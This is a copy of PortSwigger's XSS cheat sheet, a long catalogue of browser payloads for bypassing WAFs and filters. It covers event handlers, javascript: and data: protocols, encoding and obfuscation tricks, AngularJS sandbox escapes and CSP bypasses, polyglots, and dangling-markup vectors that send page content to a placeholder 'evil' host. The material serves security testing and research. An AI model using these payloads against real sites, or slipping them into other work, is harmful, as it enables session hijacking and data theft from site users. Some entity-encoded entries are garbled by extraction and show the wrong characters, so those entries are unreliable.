PORTSWIGGER
WEB SECURITY

Cross-site scripting (XSS) cheat sheet

This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector. This cheat sheet is regularly updated in 2020. Last updated: Tue, 14 Jan 2020 15:56:36 +0000.

Event handlers

Event handlers that do not require user interaction

Event:	Description:	Code:
onactivate		
Compatibility:	Fires when the element is activated	`<a id=x tabindex=1 onactivate=alert(1)></a>`
onafterprint		
Compatibility:	Fires after the page is printed	`<body onafterprint=alert(1)>`
onanimationcancel		
Compatibility:	Fires when a CSS animation cancels	`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x style="position:absolute;" onanimationcancel="alert(1)"></a>`
onanimationend		
Compatibility:	Fires when a CSS animation ends	`<style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(1)"></a>`
onanimationiteration		
Compatibility:	Fires when a CSS animation repeats	`<style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></a>`
onanimationstart		
Compatibility:	Fires when a CSS animation starts	`<style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(1)"></a>`
onbeforeactivate		
Compatibility:	Fires before the element is activated	`<a id=x tabindex=1 onbeforeactivate=alert(1)></a>`
onbeforedeactivate		
Compatibility:	Fires before the element is deactivated	`<a id=x tabindex=1 onbeforedeactivate=alert(1)></a><input autofocus>`
onbeforeprint		
Compatibility:	Fires before the page is printed	`<body onbeforeprint=alert(1)>`
onbeforeunload		
Compatibility:	Fires after if the url changes	`<body onbeforeunload="location='javascript:alert(1)'">`
onbegin		
Compatibility:	Fires when a svg animation begins	`<svg><animate onbegin=alert(1) attributeName=x dur=1s>`
onblur		
Compatibility:	Fires when an element loses focus	`<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>`

onbounce

Compatibility:

Fires when the marquee bounces

```
<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
```

oncanplay

Compatibility:

Fires if the resource can be played

```
<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav">
</audio>
```

oncanplaythrough

Compatibility:

Fires when enough data has been loaded to play the resource all the way through

```
<video oncanplaythrough=alert(1)><source src="validvideo.mp4"
type="video/mp4"></video>
```

ondeactivate

Compatibility:

Fires when the element is deactivated

```
<a id=x tabindex=1 ondeactivate=alert(1)></a><input id=y autofocus>
```

onend

Compatibility:

Fires when a svg animation ends

```
<svg><animate onend=alert(1) attributeName=x dur=1s>
```

onended

Compatibility:

Fires when the resource is finished playing

```
<audio controls autoplay onended=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

onerror

Compatibility:

Fires when the resource fails to load or causes an error

```
<audio src/onerror=alert(1)>
```

onfinish

Compatibility:

Fires when the marquee finishes

```
<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
```

onfocus

Compatibility:

Fires when the element has focus

```
<a id=x tabindex=1 onfocus=alert(1)></a>
```

onfocusin

Compatibility:

Fires when the element has focus

```
<a id=x tabindex=1 onfocusin=alert(1)></a>
```

onfocusout

Compatibility:

Fires when an element loses focus

```
<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>
```

onhashchange

Compatibility:

Fires if the hash changes

```
<body onhashchange="alert(1)">
```

onload

Compatibility:

Fires when the element is loaded

```
<svg><a onload=alert(1)></a>
```

onloadeddata

Compatibility:

Fires when the first frame is loaded

```
<audio onloadeddata=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

onloadedmetadata

Compatibility:

Fires when the meta data is loaded

```
<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav"
type="audio/wav"></audio>
```

onloadend

Compatibility:

Fires when the element finishes loading

```
<image src=validimage.png onloadend=alert(1)>
```

onloadstart

Compatibility:

Fires when the element begins to load

```
<image src=validimage.png onloadstart=alert(1)>
```

onmessage

Compatibility:

Fires when message event is received from a postMessage call

```
<body onmessage=alert(1)>
```

onpageshow

Compatibility:

Fires when the page is shown

```
<body onpageshow=alert(1)>
```

onplay

Compatibility:

Fires when the resource is played

```
<audio autoplay onplay=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

onplaying

Compatibility:

Fires the resource is playing

```
<audio autoplay onplaying=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

onpopstate

Compatibility:

Fires when the history changes

```
<body onpopstate=alert(1)>
```

onreadystatechange

Compatibility:

Fires when the ready state changes

```
<applet onreadystatechange=alert(1)></applet>
```

onrepeat

Compatibility:

Fires when a svg animation repeats

```
<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
```

onresize

Compatibility:

Fires when the window is resized

```
<body onresize="alert(1)">
```

onscroll

Compatibility:

Fires when the page scrolls

```
<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
```

onstart

Compatibility:

Fires when the marquee starts

```
<marquee onstart=alert(1)>XSS</marquee>
```

ontimeupdate

Compatibility:

Fires when the timeline is changed

```
<audio controls autoplay ontimeupdate=alert(1)><source
src="validaudio.wav" type="audio/wav"></audio>
```

ontoggle

Compatibility:

Fires when the details tag is expanded

```
<details ontoggle=alert(1) open>test</details>
```

ontransitioncancel

Compatibility:

Fires when a CSS transition cancels

```
<style>:target {color: red;}</style><a id=x style="transition:color 10s"
ontransitioncancel=alert(1)></a>
```

ontransitionend

Compatibility:

Fires when a CSS transition ends

```
<style>:target {color:red;}</style><a id=x style="transition:color 1s"
ontransitionend=alert(1)></a>
```

ontransitionrun

Compatibility:

Fires when a CSS transition begins

```
<style>:target {transform: rotate(180deg);}</style><a id=x
style="transition:transform 2s" ontransitionrun=alert(1)></a>
```

onunhandledrejection

Compatibility:

Fires when a promise isn't handled

```
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
```

onwaiting

Compatibility:

Fires when while waiting for the data

```
<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4"
type=video/mp4></video>
```

Event handlers that do require user interaction

Event:	Description:	Code:

onauxclick

Compatibility:

Fires when right clicking or using the middle button of the mouse

```
<input onauxclick=alert(1)>
```

onbeforecopy

Compatibility:

Requires you copy a piece of text

```
<a onbeforecopy="alert(1)" contenteditable>test</a>
```

onbeforecut

Compatibility:

Requires you cut a piece of text

```
<a onbeforecut="alert(1)" contenteditable>test</a>
```

onbeforepaste

Compatibility:

Requires you paste a piece of text

```
<a onbeforepaste="alert(1)" contenteditable>test</a>
```

onchange

Compatibility:

Requires as change of value

```
<input onchange=alert(1) value=xss>
```

onclick

Compatibility:

Requires a click of the element

```
<a onclick="alert(1)">test</a>
```

oncontextmenu

Compatibility:

Triggered when right clicking to show the context menu

```
<a oncontextmenu="alert(1)">test</a>
```

oncopy

Compatibility:

Requires you copy a piece of text

```
<a oncopy="alert(1)" contenteditable>test</a>
```

oncut

Compatibility:

Requires you cut a piece of text

```
<a oncut="alert(1)" contenteditable>test</a>
```

ondblclick

Compatibility:

Triggered when double clicking the element

```
<a ondblclick="alert(1)">test</a>
```

ondrag

Compatibility:

Triggered dragging the element

```
<a draggable="true" ondrag="alert(1)">test</a>
```

ondragend

Compatibility:

Triggered dragging is finished on the

```
<a draggable="true" ondragend="alert(1)">test</a>
```

	element	
ondragenter		
Compatibility:	Requires a mouse drag	`<a draggable="true" ondragenter="alert(1)">test</a>`
ondragleave		
Compatibility:	Requires a mouse drag	`<a draggable="true" ondragleave="alert(1)">test</a>`
ondragover		
Compatibility:	Triggered dragging over an element	`<div draggable="true" contenteditable>drag me</div><a ondragover=alert(1) contenteditable>drop here</a>`
ondragstart		
Compatibility:	Requires a mouse drag	`<a draggable="true" ondragstart="alert(1)">test</a>`
ondrop		
Compatibility:	Triggered dropping a draggable element	`<div draggable="true" contenteditable>drag me</div><a ondrop=alert(1) contenteditable>drop here</a>`
oninput		
Compatibility:	Requires as change of value	`<input oninput=alert(1) value=xss>`
oninvalid		
Compatibility:	Requires a form submission with an element that does not satisfy its constraints such as a required attribute.	`<form><input oninvalid=alert(1) required><input type=submit>`
onkeydown		
Compatibility:	Triggered when a key is pressed	`<a onkeydown="alert(1)" contenteditable>test</a>`
onkeypress		
Compatibility:	Triggered when a key is pressed	`<a onkeypress="alert(1)" contenteditable>test</a>`
onkeyup		
Compatibility:	Triggered when a key is released	`<a onkeyup="alert(1)" contenteditable>test</a>`
onmousedown		
Compatibility:	Triggered when the mouse is pressed	`<a onmousedown="alert(1)">test</a>`
onmouseenter		
Compatibility:	Triggered when the mouse is hovered over the element	`<a onmouseenter="alert(1)">test</a>`
onmouseleave		
Compatibility:	Triggered when the mouse is moved away from the element	`<a onmouseleave="alert(1)">test</a>`
onmousemove		
Compatibility:	Requires mouse movement	`<a onmousemove="alert(1)">test</a>`
onmouseout		
Compatibility:	Triggered when the mouse is moved away from the element	`<a onmouseout="alert(1)">test</a>`

onmouseover

Compatibility: 

Requires a hover over the element

```
<a onmouseover="alert(1)">test</a>
```

onmouseup

Compatibility: 

Triggered when the mouse button is released

```
<a onmouseup="alert(1)">test</a>
```

onpaste

Compatibility: 

Requires you paste a piece of text

```
<a onpaste="alert(1)" contenteditable>test</a>
```

onpause

Compatibility: 

Requires clicking the element to pause

```
<audio autoplay controls onpause=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

onpointerover

Compatibility: 

Fires when the mouseover

```
<a onpointerover=alert(1)>XSS</a>
```

onpointerdown

Compatibility: 

Fires when the mouse down

```
<a onpointerdown=alert(1)>XSS</a>
```

onpointerenter

Compatibility: 

Fires when the mouseenter

```
<a onpointerenter=alert(1)>XSS</a>
```

onpointerleave

Compatibility: 

Fires when the mouseleave

```
<a onpointerleave=alert(1)>XSS</a>
```

onpointermove

Compatibility: 

Fires when the mouse move

```
<a onpointermove=alert(1)>XSS</a>
```

onpointerout

Compatibility: 

Fires when the mouse out

```
<a onpointerout=alert(1)>XSS</a>
```

onpointerup

Compatibility: 

Fires when the mouse up

```
<a onpointerup=alert(1)>XSS</a>
```

onreset

Compatibility: 

Requires a click

```
<form onreset=alert(1)><input type=reset>
```

onsearch

Compatibility: 

Fires when a form is submitted and the input has a type attribute of search

```
<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
```

onseeked

Compatibility: 

Requires clicking the element timeline

```
<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

onseeking

Compatibility: 

Requires clicking the element timeline

```
<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

onselect

Compatibility: 

Requires you select text

```
<input onselect=alert(1) value="XSS" autofocus>
```

onsubmit Compatibility:	Requires a form submission	`<form onsubmit=alert(1)><input type=submit>`
ontouchstart Compatibility:	Fires when the touch screen, only mobile device	`<body ontouchstart=alert(1)>`
ontouchend Compatibility:	Fires when the touch screen, only mobile device	`<body ontouchend=alert(1)>`
ontouchmove Compatibility:	Fires when the touch screen and move, only mobile device	`<body ontouchmove=alert(1)>`
onunload Compatibility:	Requires a click anywhere on the page and a reload	`<svg onunload=window.open('javascript:alert(1)')>`
onvolumechange Compatibility:	Requires volume adjustment	`<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>`
onwheel Compatibility:	Fires when you use the mouse wheel	`<body onwheel=alert(1)>`

Restricted characters	
No parentheses using exception handling	`<script>onerror=alert;throw 1</script>`
No parentheses using exception handling no semi colons	`<script>{onerror=alert}throw 1</script>`
No parentheses using exception handling no semi colons using expressions	`<script>throw onerror=alert,1</script>`
No parentheses using exception handling and eval	`<script>throw onerror=eval,'=alert\x281\x29'</script>`
No parentheses using exception handling and eval on Firefox	`<script> {onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x 281\x29'}</script>`
No parentheses using ES6 hasInstance and instanceof with eval	`<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>`
No parentheses using ES6 hasInstance and instanceof with eval without .	`<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>`
No parentheses using location redirect	`<script>location='javascript:alert\x281\x29'</script>`
No parentheses using location redirect no strings	`<script>location=name</script>`
No parentheses using template strings	`<script>alert`1`</script>`
No parentheses using template strings and location hash	`<script>new Function`X${document.location.hash.substr`1`}`</script>`

No parentheses or spaces, using template strings and location hash	`<script>Function`X${document.location.hash.substr`1`}```</script>`

Frameworks	
Bootstrap onanimationstart event	`<xss class=progress-bar-animated onanimationstart=alert(1)>`
Bootstrap ontransitionend event	`<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(1)><xss class=carousel-inner><xss class="carousel-item active"></xss><xss class=carousel-item></xss></xss></xss>`

Protocols	
Iframe src attribute JavaScript protocol	`<iframe src="javascript:alert(1)">`
Object data attribute with JavaScript protocol	`<object data="javascript:alert(1)">`
Embed src attribute with JavaScript protocol	`<embed src="javascript:alert(1)">`
A standard JavaScript protocol	`<a href="javascript:alert(1)">XSS</a>`
The protocol is not case sensitive	`<a href="JaVaScript:alert(1)">XSS</a>`
Characters \x01-\x20 are allowed before the protocol	`<a href="  javascript:alert(1)">XSS</a>`
Characters \x09,\x0a,\x0d are allowed inside the protocol	`<a href="javas  cript:alert(1)">XSS</a>`
Characters \x09,\x0a,\x0d are allowed after protocol name before the colon	`<a href="javascript :alert(1)">XSS</a>`
Xlink namespace inside SVG with JavaScript protocol	`<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>`
SVG animate tag using values	`<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>`
SVG animate tag using to	`<svg><animate xlink:href=#xss attributeName=href from=javascript:alert(1) to=1 /><a id=xss><text x=20 y=20>XSS</text></a>`
SVG set tag	`<svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>`
Data protocol inside script src	`<script src="data:text/javascript,alert(1)"></script>`
SVG script href attribute without closing script tag	`<svg><script href="data:text/javascript,alert(1)" />`
SVG use element Chrome/Firefox	`<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>`
Import statement with data URL	`<script>import('data:text/javascript,alert(1)')</script>`
Base tag with JavaScript protocol rewriting relative URLS	`<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>`
MathML xlink:href namespace inside anchor tag	`<math><x href="javascript:alert(1)">blah`

MathML makes any tag clickable	<math><x href= javascript:alert(1) >blah
Button and formaction	<form><button formaction=javascript:alert(1)>XSS
Input and formaction	<form><input type=submit formaction=javascript:alert(1) value=XSS>
Form and action	<form action=javascript:alert(1)><input type=submit value=XSS>
Isindex and formaction	<isindex type=submit formaction=javascript:alert(1)>
Isindex and action	<isindex type=submit action=javascript:alert(1)>
Use element with an external URL	<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg>

Other useful attributes	
Using srcdoc attribute	<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>
Using srcdoc with entities	<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>
Click a submit element from anywhere on the page, even outside the form	<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>
Hidden inputs: Access key attributes can enable XSS on normally unexploitable elements	<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
Link elements: Access key attributes can enable XSS on normally unexploitable elements	<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
Download attribute can save a copy of the current webpage	Test
Disable referrer using referrerpolicy	<img referrerpolicy="no-referrer" src="//portswigger-labs.net">
Set window.name via parameter on the window.open function	XSS
Set window.name via name attribute in a <iframe> tag	<iframe name="alert(1)" src="https://portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></iframe>
Set window.name via target attribute in a <base> tag	<base target="alert(1)">XSS via target in base tag
Set window.name via target attribute in a <a> tag	XSS via target in a tag
Set window.name via usemap attribute in a <img> tag	<img src="validimage.png" width="10" height="10" usemap="#xss"><map name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></map>
Set window.name via target attribute in a <form> tag	<form action="http://subdomain1.portswigger-labs.net/xss/xss.php" target="alert(1)"><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" value="XSS via target in a form"></form>
Set window.name via formtarget attribute in a <input> tag type submit	<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php"

	formtarget="alert(1)" value="XSS via formtarget in input type submit"> </form>
Set window.name via formtarget attribute in a <input> tag type image	<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input name=1 type="image" src="validimage.png" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type image"></form>

Special tags	
Redirect to a different domain	<meta http-equiv="refresh" content="0; url=//portswigger-labs.net">
Meta charset attribute UTF-7	<meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
Meta charset UTF-7	<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
UTF-7 BOM characters (Has to be at the start of the document) 1	+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
UTF-7 BOM characters (Has to be at the start of the document) 2	+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
UTF-7 BOM characters (Has to be at the start of the document) 3	+/v+ +ADw-script+AD4-alert(1)+ADw-/script+AD4-
UTF-7 BOM characters (Has to be at the start of the document) 4	+/v/ +ADw-script+AD4-alert(1)+ADw-/script+AD4-
Upgrade insecure requests	<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
Disable JavaScript via iframe sandbox	<iframe sandbox src="//portswigger-labs.net"></iframe>
Disable referer	<meta name="referrer" content="no-referrer">

Encoding	
Overlong UTF-8	%C0%BCscript>alert(1)</script> %E0%80%BCscript>alert(1)</script> %F0%80%80%BCscript>alert(1)</script> %F8%80%80%80%BCscript>alert(1)</script> %FC%80%80%80%80%BCscript>alert(1)</script>
Unicode escapes	<script>\u0061lert(1)</script>
Unicode escapes ES6 style	<script>\u{61}lert(1)</script>
Unicode escapes ES6 style zero padded	<script>\u{0000000061}lert(1)</script>
Hex encoding JavaScript escapes	<script>eval('\x61lert(1)')</script>
Octal encoding	<script>eval('\141lert(1)')</script> <script>eval('alert(\061)')</script> <script>eval('alert(\61)')</script>
Decimal encoding with optional semi-colon	XSSXSS
SVG script with HTML encoding	<svg><script>alert(1)</script></svg> <svg><script>alert(1)</script></svg>

	`<svg><script>alert
(1)</script></svg>` `<svg><script>x="",alert(1)//";</script></svg>`
Decimal encoding with padded zeros	`<a href="&#0000106avascript:alert(1)">XSS</a>`
Hex encoding entities	`<a href="javascript:alert(1)">XSS</a>`

Hex encoding without semi-colon provided next character is not a-f0-9	`<a href="j&#x61vascript:alert(1)">XSS</a>`
	`<a href="&#x6a`
	`avascript:alert(1)">XSS</a>`
	`<a href="&#x6a avascript:alert(1)">XSS</a>`

Hex encoding with padded zeros	`<a href="javascript:alert(1)">XSS</a>`
Hex encoding is not case sensitive	`<a href="javascript:alert(1)">XSS</a>`

HTML entities	`<a href="javascript:alert(1)">XSS</a>`
	`<a href="java script:alert(1)">XSS</a>`
	`<a href="java

script:alert(1)">XSS` `XSS`
URL encoding	`<a href="javascript:x='%27-alert(1)-%27';">XSS</a>`
HTML entities and URL encoding	`<a href="javascript:x='%27-alert(1)-%27';">XSS</a>`

Obfuscation

Firefox allows NULLS after &	`<a href="javascriptjavascript:alert(1)">Firefox</a>`
Firefox allows NULLs inside named entities	`<a href="javascript:alert(1)">Firefox</a>`
Firefox allows NULL characters inside opening comments	`<!-- ><img title="--><iframe/onload=alert(1)>"> -->` `<!-- ><img title="--><iframe/onload=alert(1)>"> -->`
Data protocol inside script src with base64	`<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>`

Client-side template injection

AngularJS sandbox escapes reflected

Version:	Author:	Length:	Vector:
1.0.1 - 1.1.5	**Mario Heiderich** (Cure53)	41	`{{constructor.constructor('alert(1)')()}}`
1.0.1 - 1.1.5 (shorter)	**Gareth Heyes** (PortSwigger) & **Lewis Ardern** (Synopsys)	33	`{{$on.constructor('alert(1)')()}}`
1.2.0 - 1.2.1	**Jan Horn** (Google)	122	`{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}`
1.2.2 - 1.2.5	**Gareth Heyes** (PortSwigger)	23	`{{{}.")));alert(1)//"}}`
1.2.6 - 1.2.18	**Jan Horn** (Google)	106	`{{(_='').sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}`
1.2.19 - 1.2.23	**Mathias Karlsson** (Detectify)	124	`{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}`

1.2.24 - 1.2.29	**Gareth Heyes** (PortSwigger)	23	`{{{}.")));alert(1)//"}}`
1.2.27- 1.2.29/1.3.0- 1.3.20	**Gareth Heyes** (PortSwigger)	23	`{{{}.")));alert(1)//"}}`

1.3.0	**Gábor Molnár** (Google)	272	`{{!ready && (ready = true) && (`
			`!call`
			`? $$watchers[0].get(toString.constructor.prototype)`
			`: (a = apply) &&`
			`(apply = constructor) &&`
			`(valueOf = call) &&`
			`(''+''.toString(`
			`'F = Function.prototype;' +`
			`'F.apply = F.a;' +`
			`'delete F.a;' +`
			`'delete F.valueOf;' +`
			`'alert(1);'`
			`)));}}`

1.3.3 - 1.3.18	**Gareth Heyes** (PortSwigger)	128	`{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=`
			`[].join;'a'.constructor.prototype.charAt=`
			`[].join;$eval('x=alert(1)//');}}`

1.3.19	**Gareth Heyes** (PortSwigger)	102	`{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=` `[].join;$eval('x=alert(1)//');}}`
1.3.20	**Gareth Heyes** (PortSwigger)	65	`{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}`
1.4.0 - 1.4.9	**Gareth Heyes** (PortSwigger)	74	`{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} }` `};alert(1)//');}}`
1.5.0 - 1.5.8	**Ian Hickey** & **Gareth Heyes** (PortSwigger)	79	`{{x={'y':''.constructor.prototype};x['y'].charAt=` `[].join;$eval('x=alert(1)');}}`

1.5.9 - 1.5.11	**Jan Horn** (Google)	517	`{{`
			`c=''.sub.call;b=''.sub.bind;a=''.sub.apply;`
			`c.$apply=$apply;c.$eval=b;op=$root.$$phase;`
			`$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;`
			`C=c.$apply(c);$root.$$phase=op;$root.$digest=od;`
			`B=C(b,c,b);$evalAsync("`
			`astNode=pop();astNode.type='UnaryExpression';`
			`astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';`
			`astNode.argument={type:'Identifier',name:'foo'};`
			`");`
			`m1=B($$asyncQueue.pop().expression,null,$root);`
			`m2=B(C,null,m1);[].push.apply=m2;a=''.sub;`
			`$eval('a(b.c)');[].push.apply=a;`
			`}}`

>=1.6.0	**Mario Heiderich** (Cure53)	41	`{{constructor.constructor('alert(1)')()}}`
>=1.6.0 (shorter)	**Gareth Heyes** (PortSwigger) & **Lewis Ardern** (Synopsys)	33	`{{$on.constructor('alert(1)')()}}`

DOM based AngularJS sandbox escapes (Using orderBy or no $eval)

Version:	Author:	Length:	Vector:
1.0.1 - 1.1.5	**Mario Heiderich** (Cure53)	37	`constructor.constructor('alert(1)')()`

1.2.0 - 1.2.18	**Jan Horn** (Google)	118	`a='constructor';b=`
			`{};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a`
			`.sub),a).value,0,'alert(1)')()`

1.2.19 - 1.2.23	**Mathias Karlsson** (Detectify)	119	`toString.constructor.prototype.toString=toString.constructor.prototype` `.call;["a","alert(1)"].sort(toString.constructor)`

1.2.24 - 1.2.26	**Gareth Heyes** (PortSwigger)	317	`{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}`
			`[['__proto__']]['x'];{}[['__proto__']]`
			`['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]`
			`['z']=constructor.defineProperty;d={}[['__proto__']]`

			`['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')()`
1.2.27-1.2.29/1.3.0-1.3.20	**Gareth Heyes** (PortSwigger)	20	`{}.")));alert(1)//";`
1.4.0-1.4.5	**Gareth Heyes** (PortSwigger)	75	`'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} }};alert(1)//';`
>=1.6.0	**Mario Heiderich** (Cure53)	37	`constructor.constructor('alert(1)')()`
1.4.4 (without strings)	**Gareth Heyes** (PortSwigger)	134	`toString().constructor.prototype.charAt=[].join;[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)`

AngularJS CSP bypasses

Version:	Author:	Length:	Vector:
All versions (Chrome)	**Gareth Heyes** (PortSwigger)	81	`<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">`
All versions (Chrome) shorter	**Gareth Heyes** (PortSwigger)	56	`<input id=x ng-focus=$event.path|orderBy:'(z=alert)(1)'>`
All versions (all browsers) shorter	**Gareth Heyes** (PortSwigger)	91	`<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">`
1.2.0 - 1.5.0	**Eduardo Vela** (Google)	190	`<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>`

Scriptless attacks

Dangling markup

Background attribute	`<body background="//evil?`
	`<table background="//evil?`
	`<table><thead background="//evil?`
	`<table><tbody background="//evil?`
	`<table><tfoot background="//evil?`
	`<table><td background="//evil?`
	`<table><th background="//evil?`

Link href stylesheet	`<link rel=stylesheet href="//evil?`
Link href icon	`<link rel=icon href="//evil?`
Meta refresh	`<meta http-equiv="refresh" content="0; http://evil?`
Img to pass markup through src attribute	`<img src="//evil?` `<image src="//evil?`
Video using track element	`<video><track default src="//evil?`
Video using source element and src attribute	`<video><source src="//evil?`
Audio using source element and src attribute	`<audio><source src="//evil?`
Input src	`<input type=image src="//evil?`

Button using formaction	`<form><button style="width:100%;height:100%" type=submit formaction="//evil?`
Input using formaction	`<form><input type=submit value="XSS" style="width:100%;height:100%" type=submit formaction="//evil?`
Form using action	`<button form=x style="width:100%;height:100%;"><form id=x action="//evil?`
Isindex using src attribute	`<isindex type=image src="//evil?`
Isindex using submit	`<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?`
Object data	`<object data="//evil?`
Iframe src	`<iframe src="//evil?`
Embed src	`<embed src="//evil?`
Use textarea to consume markup and post to external site	`<form><button formaction=//evil>XSS</button><textarea name=x>`
Pass markup data through window.name using form target	`<button form=x>XSS</button><form id=x action=//evil target='`
Pass markup data through window.name using base target	`<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="`
Pass markup data through window.name using formtarget	`<form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html formtarget="`
Using base href to pass data	`<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base href="//evil/`
Using embed window name to pass data from the page	`<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="`
Using iframe window name to pass data from the page	`<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="`
Using object window name to pass data from the page	`<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="`
Using frame window name to pass data from the page	`<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="`

Polyglots	
Polyglot payload 1	`javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>`
Polyglot payload 2	`javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>`

WAF bypass global objects	
Reflected XSS into a JavaScript string: string concatenation (window)	`';window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//`

Reflected XSS into a JavaScript string: string concatenation (self)	`';self['ale'+'rt'](self['doc'+'ument']['dom'+'ain']);//`
Reflected XSS into a JavaScript string: string concatenation (this)	`';this['ale'+'rt'](this['doc'+'ument']['dom'+'ain']);//`
Reflected XSS into a JavaScript string: string concatenation (top)	`';top['ale'+'rt'](top['doc'+'ument']['dom'+'ain']);//`
Reflected XSS into a JavaScript string: string concatenation (parent)	`';parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain']);//`
Reflected XSS into a JavaScript string: string concatenation (frames)	`';frames['ale'+'rt'](frames['doc'+'ument']['dom'+'ain']);//`
Reflected XSS into a JavaScript string: string concatenation (globalThis)	`';globalThis['ale'+'rt'](globalThis['doc'+'ument']['dom'+'ain']);//`
Reflected XSS into a JavaScript string: comment syntax (window)	`';window[/*foo*/'alert'/*bar*/](window[/*foo*/'document'/*bar*/]['domain']);//`
